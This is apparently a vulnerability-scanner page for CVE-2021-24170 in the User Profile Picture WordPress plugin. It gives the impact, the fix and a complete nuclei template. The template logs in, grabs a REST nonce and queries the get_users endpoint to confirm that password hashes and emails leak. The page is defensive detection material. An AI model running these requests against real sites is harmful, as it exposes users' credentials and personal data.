User Profile Picture < 2.5.0 - Sensitive Information Disclosure

highseverity

7.5CVSS score

5.6%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

The REST API endpoint get_users in the User Profile Picture WordPress plugin before 2.5.0 returned more information than was required for its functionality to users with the upload_files capability. This included password hashes, hashed user activation keys, usernames, emails, and other less sensitive information.

Impact

Authenticated users with upload_files capability can extract sensitive user information including password hashes, activation keys, usernames, and email addresses via REST API endpoint.

Fix

Update to User Profile Picture version 2.5.0 or later.

How to confirm it

Send: POST /wp-login.php
Positive when: len(body)==0 and status_code == 302 and contains_all(header, "wordpress_logged_in_")
Send: POST /wp-admin/admin-ajax.php?action=rest-nonce
Send: POST /index.php?rest_route=/mpp/v2/get_users
Positive when: contains_all(body, "ID", "user_login", "user_pass") and contains(content_type, "application/json") and status_code == 200

Run it with nuclei: nuclei -id CVE-2021-24170 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24170

info:
  name: User Profile Picture < 2.5.0 - Sensitive Information Disclosure
  author: s4e-io
  severity: high
  description: |
    The REST API endpoint get_users in the User Profile Picture WordPress plugin before 2.5.0 returned more information than was required for its functionality to users with the upload_files capability. This included password hashes, hashed user activation keys, usernames, emails, and other less sensitive information.
  impact: |
    Authenticated users with upload_files capability can extract sensitive user information including password hashes, activation keys, usernames, and email addresses via REST API endpoint.
  remediation: |
    Update to User Profile Picture version 2.5.0 or later.
  reference:
    - https://www.wordfence.com/blog/2021/03/medium-severity-vulnerability-patched-in-user-profile-picture-plugin/
    - https://wpscan.com/vulnerability/29fc5b0e-0a5f-4484-a1e6-a0a1206726cc/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24170
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24170
    cwe-id: CWE-200
    epss-score: 0.05574
    epss-percentile: 0.92941
    cpe: cpe:2.3:a:cozmoslabs:user_profile_picture:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: cozmoslabs
    product: user_profile_picture
    framework: wordpress
    fofa-query: body="/wp-content/plugins/metronet-profile-picture"
    publicwww-query: "/wp-content/plugins/metronet-profile-picture"
  tags: cve,cve2021,wp,wp-plugin,wpscan,wordpress,info-leak,authenticated,metronet-profile-picture,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'len(body)==0'
          - 'status_code == 302'
          - 'contains_all(header, "wordpress_logged_in_")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=rest-nonce HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

    extractors:
      - type: regex
        name: nonce
        part: body
        regex:
          - '[a-z0-9]{10}'
        internal: true

  - raw:
      - |
        POST /index.php?rest_route=/mpp/v2/get_users HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        X-WP-Nonce: {{nonce}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "ID", "user_login", "user_pass")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from